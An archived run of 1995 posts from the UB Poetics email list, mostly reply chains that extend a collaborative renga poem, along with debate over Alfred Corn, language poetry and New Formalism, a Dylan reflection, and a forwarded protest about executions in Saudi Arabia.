Ron--thanks for the story about meeting dylan. He once said that he tried to write another Mr Tambourine man and that that was a mistake-- I was just recently listening (with michael Gizzi) to the outakes from the basement tapes---a five CD bootleg set (which if anybody has I'd send you money for cassette copies of--since I don't have a CD player) and the major change in his stule which you refer to is there evident (typo-style)--as is the "dropping out" of the pop-music scene at the height of the career, etc---Yet, I don't know if one can make a mere pre-and-post 1966 distinction---especially by focusing it around the notions of "metaphor" and "genius"---His language got plainer to be sure, but the myth of genius returns. Of course, even in earlier works like "HIWAY 61" we see the "roving gambler" (which may be a self-portrait, but it is certainly a harsh, ironized one, a la 1983's "MAN OF PEACE") and so it seems hard to script dylan's development so easily---For he changed album to album. Now on one level all the masks (country-star, christian rocker, recluse, etc.) can be read as but a marketing scheme, but it also seems that commiting himself absolutely to a particular paradigm (or schtick, if you must) also fulfilled some psychological need (as if one must argue "authenticity" on this list for credibility) ---Whatever, the point is that one of the attractive things about Dylan (like say Yeats) was his ability to go through different "phases" in a way I find severely lacking in say Bruce Andrews--- though that just shows you how retro I am.....we'll meet on edges soon, chris

↑ Index

878. **Gabrielle Welford**

Re: Renga

Sat 26 Aug 1995

On Sat, 26 Aug 1995, Charles Alexander wrote:

> *On Sat, 26 Aug 1995 17:17:24 -1000,*
> *Gabrielle Welford <[redacted]> wrote:*
>
> *On Fri, 25 Aug 1995, Rod Smith wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout eternity for moments to be*
> *of such suchness. In the nooks were creams and in the streams were hooks.*
> *All melded like striated film leftover in the pastel seeds of darkness*

> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft*
> *fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to*
> *go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *on for another night--rabbit rabbit rabbit rabbit*
> *runs rings round rare rutabagas, reason rumbles recessions*
> *occasionally pointed but not Pointer, no it's always*

↑ Index

879. **Jorge Guitart**

Re: Renga

Sun 27 Aug 1995

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >First inverted whistle of a cardinal in the poplar
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> >flawlessly, flutes sing genderless in trio, surprised
> >by how quiet effort really is or is not, fast enough to sleep
> >through thunderstorms, arm over thigh until light shakes
> >petals free of names that rain across known skin forgotten
> >alive in our hearse hurts, projective nurse if she is to
> > go ahead
> >and dance, composing instead of straining muscles, far eyes
> >out, transplanted organs speak, the idiom
> >inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
  which explains why the pump is busted and why

↑ Index

880. **Jorge Guitart**

Re: Revenge of the Renga

Sun 27 Aug 1995

On Sat, 26 Aug 1995, Sheila E. Murphy wrote:

> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> >First inverted whistle of a cardinal in the poplar
> >The book and the oboe on the grass under sun and cloud
> >Go endlessly, an obtuse Prussian blue, it binds
> >The caravan of windows to what they flee
> >These lace curtains, more gauze than bondage, more
> >Mollycoddled than aware, thin-spined and pebbling
> >but narrow in the waist or waspish Sunday years ago
> >Over coffee topped with whipped cream, the Times blowing
> >& opining, heavy humid air, cumulus amusing against the
> >bleached ribcage ripcorded into compassed wind
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> >gives gracious problem: fanatical snacks, landscape of
> >flicka my best friend and the storm in the glass of water's
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> >pockets in small furniture intended house sequentially several
> >mountains away but it wasn't, you know, a big tango
> >when the attorney general came, selah hales said, "Dias, oh,ho,
> > kook!"
> >Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > warehouse, curls
> >no ideas but the woven fabric the texture so to speak was at the
> > dry cleaners
> >piping hot and gloved-in somewhere unsalted, perched on
> > prescience
> >the chair is sad, alas, and i've lusted tootles' livers
> >the odor day toy a cello day dis chevys a bo coo daughter chose
> > encore
> >Flaubert because we're waiting all throughout eternity for
> > moments to be
> >of such suchness. In the nooks were creams and in the streams
> > were hooks.
> >All melded like striated film leftover in the pastel seeds of
> > darkness
> >falling like a counterirritant around the manchineel. Likewise
> >sandpaper juxtaposed with seasoned instruments and recently soft
> > fruit
> >of subject's object status, violent transformation
> >la Ste. Therese into beaming cumulus apokoinu switchback

> >and in the u-turns were bookmobiles rounding angles considered
> >shrill as pine left in the acres to be aging
> >flawlessly, flutes sing genderless in trio, surprised
> >by how quiet effort really is or is not, fast enough to sleep
> >through thunderstorms, arm over thigh until light shakes
> >petals free of names that rain across known skin forgotten
> >alive in our hearse hurts, projective nurse if she is to
> > go ahead
> >and dance, composing instead of straining muscles, far eyes
> >out, transplanted organs speak, the idiom
> >inseams, a snare as solvently unequal-- the power
> >of pretending you have no power ("Mistah Corn, he....
> plunked steeping into post-shrill yawn of the long tea
  never recovering for the lascivious, he not from these parts"

↑ Index

881. **Robert Drake**
Re: More Forwards (fwd)
Sun 27 Aug 1995

---

all--

this post praps applies to several current threads...

got messerli's _gertrude stein awards in innovative american poetry_ anthology th other day--anthology of work that's appeared in magazines over the previous year. i'd recommend this to mr. corn as a source for current work in the langpo vane(s)--many of these authors appeared in either _in the american tree_ or ganick's followup _art of practice--much to be said for a collection of work still in current circulation, not yet nailed down... still open to fresh readings, rather than waiting for the approved interpretation.

for corn, too, might be useful to see the variety of veins being mined, rather than a single langpo party line... contrarywise, i was a little disappointed to see many of the "usual suspects", both in terms of authors & magazines... brings up the friendly question of is there some ossification or complacency in the LP tendency--i mean, a parallel or alternative canon is still a cannon (sic)--is there a sense in which langpo creates its own "claustrophobic constraints" for younger poets who're largely identified w/ it? is that a problem? is there a solution?

likewise concerned w/ the concentration on a few periodical titles (tho all those included certainly deserve...). the impercipient, black bread come to mind quick as fitting well within the scope as laid out--what others would any of you recommend?

& more interestingly, to me: what publications might you recommend that might _expand_ the scope of this project? Lost & Found Times, Juxta, again come quick to my mind--recommends from y'all?

coming soon: addresses for these mags--my most pointed complaint about the collection is the lack of addresses--these things deserve more readers/subcribers...

asever
luigi

****

featured magazines & authors:
****

6ix (bill tuttle)

abacus (bruce andrews)

arshile (2) (lydia davis, william fuller)

avec (11) (a.l. nielsen, andrew levy, fiona templeton, jessica grim, joe ross, karen mac cormack, kim rosenfield, myung mi kim, nathaniel tarn, robert crosson, tom mandel)

big allis (paul vangelisti)

conjunctions (2) (martine bellen, rachel blau duplessis)

exquisite corpse (steve mccaffery)

grand street (4) (craig watson, dennis phillips, jeff vetock, pam rehm)

green z (2) (drew gardner, kimberley lyons)

hundred flowers, a (will alexander)

lingo (5) (elizabeth burns, elizabeth willis, lisa robertson, martha ronk, peter inman)

long news in short century (2) (michael davidson, peter gizzi)

lower limit speech (6) (buck downs, deanna ferguson, elizabeth robinson, liz waldner, nathaniel mackey, peter ganick)

lyric& (2) (jean day, mark wallace)

mirage (jennifer moxley)

o.ars (3) (darid de stefano, larry eigner, robert creeley)

object (joan retallack)

oblek (12) (cole swensen, daniel davidson, douglas messerli, elaine equi, john perlman, kathryn macleod, laynie brown, norma cole, phillip foss, rae armantrout, robert fitterman, susan smith nash)

poetry project newsletter (charles north)

raddle moon (5) (albert mobilio, charles bernstein, ray dipalma, rod smith, shelia murphy)

re*map (brett evans)

ribot (3) (aaron shurin, jeff conant, juliana spahr)

situation (4) (george albon, marjorie welish, roberto tejada, tan lin)

sulfer (2) (mei-mei berssenbrugge, michael leddy)

talisman (3) (catriona strang, forrest gander, gilbert sorrentino)

texture (michael palmer)

that (janet gray)

to (5) (abigail child, david bromige, jeff derksen, mary angeline, susan schultz)

washington review (lyn hejinian)

witz (2) (barbara guest, nick piombino)

the world (5) (clark coolidge, john mcnally, kenward elmslie, kit robinson, stephen ratcliffe)

(apologies in advance for typoos...)

↑ Index

882. Jorge Guitart

Re: Renga

Sun 27 Aug 1995

On Sat, 26 Aug 1995, maria damon wrote:

> In message <[redacted]> UB Poetics discussion group
> writes:
> > >On Sat, 26 Aug 1995, Rod Smith wrote:
> > >
> > >> In the books were dreams and in the dreams were books.
> > >> And flew through windows, lightning green and fine morning
> > >> First inverted whistle of a cardinal in the poplar
> > >> The book and the oboe on the grass under sun and cloud
> > >> Go endlessly, an obtuse Prussian blue, it binds

> > >> The caravan of windows to what they flee
> > >> These lace curtains, more gauze than bondage, more
> > >> Mollycoddled than aware, thin-spined and pebbling
> > >> but narrow in the waist or waspish Sunday years ago
> > >> Over coffee topped with whipped cream, the Times blowing
> > >> & opining, heavy humid air, cumulus amusing against the
> > >> bleached ribcage ripcorded into compassed wind
> > >> kissing the weatherwoman between her breasts as she
> > >> gives gracious problem: fanatical snacks, landscape of
> > >> flicka my best friend and the storm in the glass of water's
> > >> halfway pertinent incision we keep making safe for ignorance
> > >> (inspection
> > >> denied for not knowing how credenza was meant) & neo-colonizing
> > >> pockets in small furniture intended house sequentially several
> > >> mountains away but it wasn't, you know, a big tango
> > >> when the attorney general came, selah hales said, "Dias, oh,ho,
> > >> kook!"
> > >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > >> warehouse, curls
> > >> no ideas but the woven fabric the texture so to speak was at the
> > >> dry cleaners
> > >> piping hot and gloved-in somewhere unsalted, perched on
> > >> prescience
> > >> the chair is sad, alas, and i've lusted tootles' livers
> > >> the odor day toy a cello day dis chevys a bo coo daughter chose
> > >> encore
> > >> Flaubert because we're waiting all throughout eternity for
> > >> moments to be
> > >> of such suchness. In the nooks were creams and in the streams
> > >> were hooks.
> > >> All melded like striated film leftover in the pastel seeds of
> > >> darkness
> > >> falling like a counterirritant around the manchineel. Likewise
> > >> sandpaper juxtaposed with seasoned instruments and recently soft
> > >> fruit
> > >> of subject's object status, violent transformation
> > >> la Ste. Therese into beaming cumulus apokoinu switchback
> > >> and in the u-turns were bookmobiles rounding angles considered
> > >> shrill as pine left in the acres to be aging
> > >> flawlessly, flutes sing genderless in trio, surprised
> > >> by how quiet effort really is or is not, fast enough to sleep
> > >> through thunderstorms, arm over thigh until light shakes

> > >> petals free of names that rain across known skin forgotten
> > >> alive in our hearse hurts, projective nurse if she is to
> > >> go ahead
> > >> and dance, composing instead of straining muscles, far eyes
> > >> out, transplanted organs speak, the idiom
> > >> inseams, a snare as solvently unequal-- the power
> > >> of boys talking on their feet and men talking to their hands
> > in whispers conducive to disrobing weaponry
> down where dead men tell no lies and misdemeanors
  but do cavort in the mind of Angelo's mom

↑ Index

883. Eryque Gleason
WASP
Sun 27 Aug 1995

Charles, WASP was the Women's Air Service Pilots, or something very much like that. It was a corp of female aviators during WWII (I don't know how long after the end of the war the WASPs were used) that mostly ferried airplanes for the Army, although a few were test pilots as well. And most were White Anglo Saxon Protestants anyway. I'm guessing that WASP was the predecessor of WAC.

eryque

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616

[redacted]

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884. Susan Schultz
Corn talk
Sun 27 Aug 1995

This time I'm writing, not forwarding (and forwarding again). Corn tells me he's through, after I urged him to get on the list for real, especially since I seemed to be spending a lot of time simply bouncing messages around. It was a strange experience, all around. I've had this notion for a long time that different groups of poets and audiences for poetry should talk to each other more, rather than staying within their lists, as it were. The inter-action on the CAP-L list, between Corn and Silliman, though brief, was a highlight; important ideas emerged out of the dialogue which might not have done otherwise. Once

I got into the forwarding business on this list, however, I got very uncomfortable. I thought it a bit funny that Corn was expressing opinions on poets he hadn't read; I found it appalling some of the responses to him, or to the idea of him as "mainstream" or "New Formalist" or "whatever." We all got locked in so quickly to the differences between "mainstream" and "avant-garde" or "Language writing" that real conversation had to be found between the shouts. The truth is that Corn is a serious writer and thinker about poetry; my allegiance to him has been as much personal as professional, since I rather prefer poets on the "Language" side of whatever divide we're talking about. But I've learned a lot from reading poets who are not on this list, among them Corn--and Walcott and, yes, James Merrill, whose facility with the language is a joy to behold, even as one gasps at his stone age politics. Should say "was," I guess. And there's Rich, etc. etc. I see no harm in thinking about these poets, in reading them. Hell, I for one love Stevens.

I guess my sense is that the experiment, while it yielded a few nuggets, didn't really work. But I do hope that this list will continue to discuss its own differences from itself, perhaps even from others not on the list, in substantive fashion. And I think I'll stop forwarding (and backwarding) anything for a long while.

Best wishes,

Susan Schultz

PS After I forward this one, of course.

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885. **Thomas Bell**

Re: Renga

Sun 27 Aug 1995

Sheila E. Murphy wrote

>On Sat, 26 Aug 1995, Rod Smith wrote:
>
>> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
>> Go endlessly, an obtuse Prussian blue, it binds
>> The caravan of windows to what they flee
>> These lace curtains, more gauze than bondage, more
>> Mollycoddled than aware, thin-spined and pebbling
>> but narrow in the waist or waspish Sunday years ago

>> Over coffee topped with whipped cream, the Times blowing
>> & opining, heavy humid air, cumulus amusing against the
>> bleached ribcage ripcorded into compassed wind
>> kissing the weatherwoman between her breasts as she
>> gives gracious problem: fanatical snacks, landscape of
>> flicka my best friend and the storm in the glass of water's
>> halfway pertinent incision we keep making safe for ignorance
>> (inspection
>> denied for not knowing how credenza was meant) & neo-colonizing
>> pockets in small furniture intended house sequentially several
>> mountains away but it wasn't, you know, a big tango
>> when the attorney general came, selah hales said, "Dias, oh,ho,
>> kook!"
>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> warehouse, curls
>> no ideas but the woven fabric the texture so to speak was at the
>> dry cleaners
>> piping hot and gloved-in somewhere unsalted, perched on
>> prescience
>> the chair is sad, alas, and i've lusted tootles' livers
>> the odor day toy a cello day dis chevys a bo coo daughter chose
>> encore
>> Flaubert because we're waiting all throughout eternity for
>> moments to be
>> of such suchness. In the nooks were creams and in the streams
>> were hooks.
>> All melded like striated film leftover in the pastel seeds of
>> darkness
>> falling like a counterirritant around the manchineel. Likewise
>> sandpaper juxtaposed with seasoned instruments and recently soft
>> fruit
>> of subject's object status, violent transformation
>> la Ste. Therese into beaming cumulus apokoinu switchback
>> and in the u-turns were bookmobiles rounding angles considered
>> shrill as pine left in the acres to be aging
>> flawlessly, flutes sing genderless in trio, surprised
>> by how quiet effort really is or is not, fast enough to sleep
>> through thunderstorms, arm over thigh until light shakes
>> petals free of names that rain across known skin forgotten
>> alive in our hearse hurts, projective nurse if she is to
>> go ahead
>> and dance, composing instead of straining muscles, far eyes

>> out, transplanted organs speak, the idiom
>> inseams, a snare as solvently unequal-- the power
>> of boys talking on their feet and men talking to their hands
>> in whispers conducive to disrobing weaponry
armaments sano in corporate corridors to
hold back the Eatern Horde renga take to horse
.

↑ Index

886. **Rod Smith**
Macaronic
Sun 27 Aug 1995

Now, Chris, my agreeing w/ Marjorie on this point does not mean I wld agree with her on many others, just seems to me, in general terms, she was & is, quite right on this one.
--Rod
Chris S wrote:
>[Perloff] certainly has helped advance the stock of more writers I
respect than Corn has, but that doesn't mean (Rod S, Steve E. >and
Patrick P--to name a few) that she shouldn't be >questioned--if only
insofar as I believe that poets MUST question critical >paradigms--

↑ Index

887. **Gabrielle Welford**
protesting executions in S.Arabia (fwd)
Sun 27 Aug 1995

Forwarding this to you guys because I know you won't wag a finger at me for irrelevancy. I lived in Turkey as a kid and am sad about this happening. I've written to Ismet. He's doing a study that sounds like similar studies done in the States of why fewer Kurds succeed in school than other citizens of Turkey.
Gab.

---------- Dear Netters, I am sending this message to inform you about the executions of four Turkish truck drivers by cutting their heads apart by a sword for the sake of ALLAH (as they claim) in Saudi Arabia recently. As a muslim person and as a citizen of a country in which 90% of the population is muslim, I know that there is no such word of ALLAH which orders such punishment for such a crime (carrying some medicine which have narcotic effects). This punishment is only their way of understanding "Kur-an".

**** I am protesting the cruelty and inhumanity of such punishment and the King who approves it. ****

You may find the message irrelevant for your list but as a member of the civilized world, I feel myself responsible to protest that barbarism using any means of communication. If you agree with the brutality of such punishment and feel a piece of sarrow in your hearts for those drivers, please distribute this message adding your point of view to your friends and and other lists you may reach.

I wish you peace,happiness, and justice in the world forever.

Ismet Sahin

↑ Index

888. **Steve Carll**
Re: Marjorie's Post
Sun 27 Aug 1995

Or, more specifically, Marjorie's rhetorical question, "respecting the rights of others can turn into capitulation, no?" Of course it can. Anything positive can turn into anything negative. Does that mean we shouldn't respect the rights of others, just on the off chance that something bad might happen if we do, like, god (or whoever) forbid, dialogue with "the enemy"? Demonizing the people in "the Establishment" hasn't been very effective in making it go away, either. Ask Tim McVeigh.

If Lyn Hejinian gets a Guggenheim, *then* can we talk to Alfred Corn without our loyalty being questioned? Asking him questions about the issues Marjorie brought up in her post wouldn't be a bad idea; ignoring him (and being shocked that everyone else isn't) seems to me a way of trying to pretend "the Establishment doesn't exist."

Kinda miffed,
Steve

↑ Index

889. **George Bowering**
Re: Renga
Sun 27 Aug 1995

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890. **George Bowering**

Re: Renga

Sun 27 Aug 1995

> *On Fri, 25 Aug 1995, Rod Smith wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka the mother of Thunderhead and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout eternity for moments to be*
> *of such suchness. In the nooks were creams and in the streams were hooks.*
> *All melded like striated film theorists in the pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft fruit*
> *of subject's object status, violent transformation*

> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to*
> *go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *on for another night--rabbit rabbit rabbit rabbit*
> *and ten dull words oft creep in one slow line*

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891. **Ron Silliman**

Children of the Corn

Sun 27 Aug 1995

Chax writes (rightly),
>
>I keep reading the phrase, first from Corn, then repeated by others quoting him, about "poetry using unfamiliar methods of communication" at least since Rimbaud & Mallarme. Every time I hear that it just grates.... But perhaps what I don't like about this phrase, as much as its specific form, is how easily Corn tosses it off, as though, because it is old hat to do something "unfamiliar" (or innovative? or building on other's innovations?), it is therefore not very interesting or valuable.... "various unclassifiables" (this too sounds like some kind of put down)

There is, I think, in both phrases an anxiety of categorization at work. And it is just as easy (and limiting) to counter with one's own tossed-off groupings of a "non-unfamiliar" poetics (we could even develop a list and exfoliate a la the renga brigades).

But what I'm interested in here is what the need for the category itself here might represent, an arms-length methodology for containment, an attempt to explain something (dare I say) unfamiliar without disturbing a fixed map of one's sense of the world.

One of the worst things about the term langpo (esp. in its most virulent form with the = signs betwixt every capitalized letter) is how it then excuses the children of the Corn to dismiss the writing itself as somehow irrelevant to their own "ordinary" or "mainstream" or "traditional" poetics. That dismissal of

course is precisely what Alan Soldofsky had in mind when he first used the phrase in Poultry Flush back in 1979. And it's been remarkably effective as a strategy.

Corn prefers the more global (and seemingly more neutral) term Parallel Tradition ((which could be interpreted as that poetry in America which does not assume itself to be a tributary or descendant of British poetry, what C Bernstein refers to as "the island poets")), but it accomplishes much the same thing--to set aside that which challenges one's own assumptions. And it is those assumptions that are precisely the issue.

That's what always has bedeviled me about the poetry in, say, The Nation, an ostensibly left journal that has (ever since Levertov left as poetry editor 30 years ago just as her own work was veering to the right) continually focused on a poetics of the most conservative assumptions. How those assumptions do NOT fit into a larger framework of conservativism/patriarchy I just don't get. It's what I've generally thought of as the "Marilyn Hacker Problem" (probably because she does it well, so it deserves to be looked at critically in her work) of writing unquestioningly in forms that institutionalize a world in which her gender and sexual orientation have historically (and not accidentally) oppressed and suppressed.

And in a sense this is very similar to the discomfort I feel at Bill Moyers' conception of literature, the purpose of which is to put us in touch with "timeless, shared" values that in fact are the imposition of historically developed frameworks that, like Marjorie's Establishment, start by denying their own existence. Universalism is always already a white male heterosexual point of view from a particular class, so if you do not want to reinforce it, why seek it out?

Ron Silliman
[redacted]

↑ Index

892. Louis Cabri
goof me up! tweettweet!
Sun 27 Aug 1995

---

thomas, maybe prose did drive poetry out of town - oh Lisa, how pastorale - and maybe it's a roundtrip.

last time _poetry_ had a vehicle the tenors went on strike. with corn flecks in my soda pop _i'd_ be pissed off too. driven out

sure - but driven. let's say
"thank you."

personally, i metaphor after three o'clock only, fearful of any symbol's crash. no original jokes allowed! (the corn factor...

except those might not be hands i'm looking at now - my
ontogeny is showing - is

is that ok?! derrido it if
derri duh it's

just louis "hail me a" cabri quick - [cabris. fr. goat] "let him eat our hats"

and away, thou motley humourist!
Whalen away

i
metaphysical object

& screamed.
always-indeterminate

listserved condition of "post depression"
with that post-lurker FEED ME savoir fare - as a proseur

object to it, since the...
how can there be poetry without prose?

the object i've
the objective al

ive
there too - tickets all round!

(take _back_
the pop

↑ Index

893. **maria damon**
Re: Revenge of the Renga II
Sun 27 Aug 1995

---

jg writes:
>
> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more

> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her breasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka my best friend and the storm in the glass of water's
> > halfway pertinent incision we keep making safe for ignorance
> > (inspection
> > denied for not knowing how credenza was meant) & neo-colonizing
> > pockets in small furniture intended house sequentially several
> > mountains away but it wasn't, you know, a big tango
> > when the attorney general came, selah hales said, "Dias, oh,ho,
> > kook!"
> > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > warehouse, curls
> > no ideas but the woven fabric the texture so to speak was at the
> > dry cleaners
> > piping hot and gloved-in somewhere unsalted, perched on
> > prescience
> > the chair is sad, alas, and i've lusted tootles' livers
> > the odor day toy a cello day dis chevys a bo coo daughter chose
> > encore
> > Flaubert because we're waiting all throughout eternity for
> > moments to be
> > of such suchness. In the nooks were creams and in the streams
> > were hooks.
> > All melded like striated film leftover in the pastel seeds of
> > darkness
> > falling like a counterirritant around the manchineel. Likewise
> > sandpaper juxtaposed with seasoned instruments and recently soft
> > fruit
> > of subject's object status, violent transformation
> > la Ste. Therese into beaming cumulus apokoinu switchback
> > and in the u-turns were bookmobiles rounding angles considered
> > shrill as pine left in the acres to be aging
> > flawlessly, flutes sing genderless in trio, surprised
> > by how quiet effort really is or is not, fast enough to sleep
> > through thunderstorms, arm over thigh until light shakes
> > petals free of names that rain across known skin forgotten
> > alive in our hearse hurts, projective nurse if she is to

> > go ahead
> > and dance, composing instead of straining muscles, far eyes
> > out, transplanted organs speak, the idiom
> > inseams, a snare as solvently unequal-- the power
> > of pretending you have no power ("Mistah Corn, he....
> fed on grans, Im savin dis penny for anodder neo dude"
jorge's back and yr gonna be sorry, hey lawdy lawd

↑ Index

894. **maria damon**
Re: joriscelan
Sun 27 Aug 1995

---

just picked up breathturns, joris's celan, and i hafta add my voices to the chorus of consensus here: wowie kazowie. multiple groove factor and yay!--md

↑ Index

895. **Kevin Killian**
George Stanley
Sun 27 Aug 1995

Thanks Ryan for alerting us all of George Stanley's new book "Gentle Northern Summer." For all of you who want to order it here's the info

New Star Books Ltd.
2504 York Avenue
Vancouver, BC V6K 1E3
CANADA
[redacted]

As Ryan has stated, it is "good stuff." Thanks everyone!-Kevin Killian

> *Maybe I'll add, since we're pluggin good stuff, George Stanley's new book is due in September. I think it's _Gentle Northern Summer_ or thereabouts.*

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896. **Sheila E. Murphy**
Re: Renga
Sun 27 Aug 1995

>In message <[redacted]> UB Poetics discussion
group
>writes:
>> >On Sat, 26 Aug 1995, Rod Smith wrote:

>> >
>> >> In the books were dreams and in the dreams were books.
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>> >> The book and the oboe on the grass under sun and cloud
>> >> Go endlessly, an obtuse Prussian blue, it binds
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>> >> These lace curtains, more gauze than bondage, more
>> >> Mollycoddled than aware, thin-spined and pebbling
>> >> but narrow in the waist or waspish Sunday years ago
>> >> Over coffee topped with whipped cream, the Times blowing
>> >> & opining, heavy humid air, cumulus amusing against the
>> >> bleached ribcage ripcorded into compassed wind
>> >> kissing the weatherwoman between her breasts as she
>> >> gives gracious problem: fanatical snacks, landscape of
>> >> flicka my best friend and the storm in the glass of water's
>> >> halfway pertinent incision we keep making safe for ignorance
>> >> (inspection
>> >> denied for not knowing how credenza was meant) & neo-colonizing
>> >> pockets in small furniture intended house sequentially several
>> >> mountains away but it wasn't, you know, a big tango
>> >> when the attorney general came, selah hales said, "Dias, oh,ho,
>> >> kook!"
>> >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> >> warehouse, curls
>> >> no ideas but the woven fabric the texture so to speak was at the
>> >> dry cleaners
>> >> piping hot and gloved-in somewhere unsalted, perched on
>> >> prescience
>> >> the chair is sad, alas, and i've lusted tootles' livers
>> >> the odor day toy a cello day dis chevys a bo coo daughter chose
>> >> encore
>> >> Flaubert because we're waiting all throughout eternity for
>> >> moments to be
>> >> of such suchness. In the nooks were creams and in the streams
>> >> were hooks.
>> >> All melded like striated film leftover in the pastel seeds of
>> >> darkness
>> >> falling like a counterirritant around the manchineel. Likewise
>> >> sandpaper juxtaposed with seasoned instruments and recently soft
>> >> fruit
>> >> of subject's object status, violent transformation

>> >> la Ste. Therese into beaming cumulus apokoinu switchback
>> >> and in the u-turns were bookmobiles rounding angles considered
>> >> shrill as pine left in the acres to be aging
>> >> flawlessly, flutes sing genderless in trio, surprised
>> >> by how quiet effort really is or is not, fast enough to sleep
>> >> through thunderstorms, arm over thigh until light shakes
>> >> petals free of names that rain across known skin forgotten
>> >> alive in our hearse hurts, projective nurse if she is to
>> >> go ahead
>> >> and dance, composing instead of straining muscles, far eyes
>> >> out, transplanted organs speak, the idiom
>> >> inseams, a snare as solvently unequal-- the power
>> >> of boys talking on their feet and men talking to their hands
>> in whispers conducive to disrobing weaponry
>down where dead men tell no lies and misdemeanors
whisper the lies of sleep to form small scented chapters

↑ Index

897. **Patrick Phillips**
Re: place genre heading here and behead
Sun 27 Aug 1995

Well Chris, you shake that tree and, here, something falls out.

Me thinks you've lumpened a real need to critique all established modes (Perloff's and Silliman's included) with a more personal interpretation of events. I.e., what arises as lines are drawn are sometimes less clear lines.

But the fundamental issue is something not so open to interpretation. As I'm sure you follow, the New (Neo is better) Formalists clearly represent a Gingrichean front of popular anachrony. What I've read of their criticism is almost all poor attempts at some cheap structuralist paradigm which is more a thinly veiled self promotion. The bile that rises at the ruse of "expansive" (versus emaciated) poetry Creeley's work proclaimed as a thin, weak emaciated trickery of line break is one thing, but to couple this impoverishment of "criticism" with the fact these politicians have received numerous Guggenheims, NEA grants and other prizes for their work... (speechless)...next thing you know, Wyatt Prunty will be president Gingrich's press secretary.

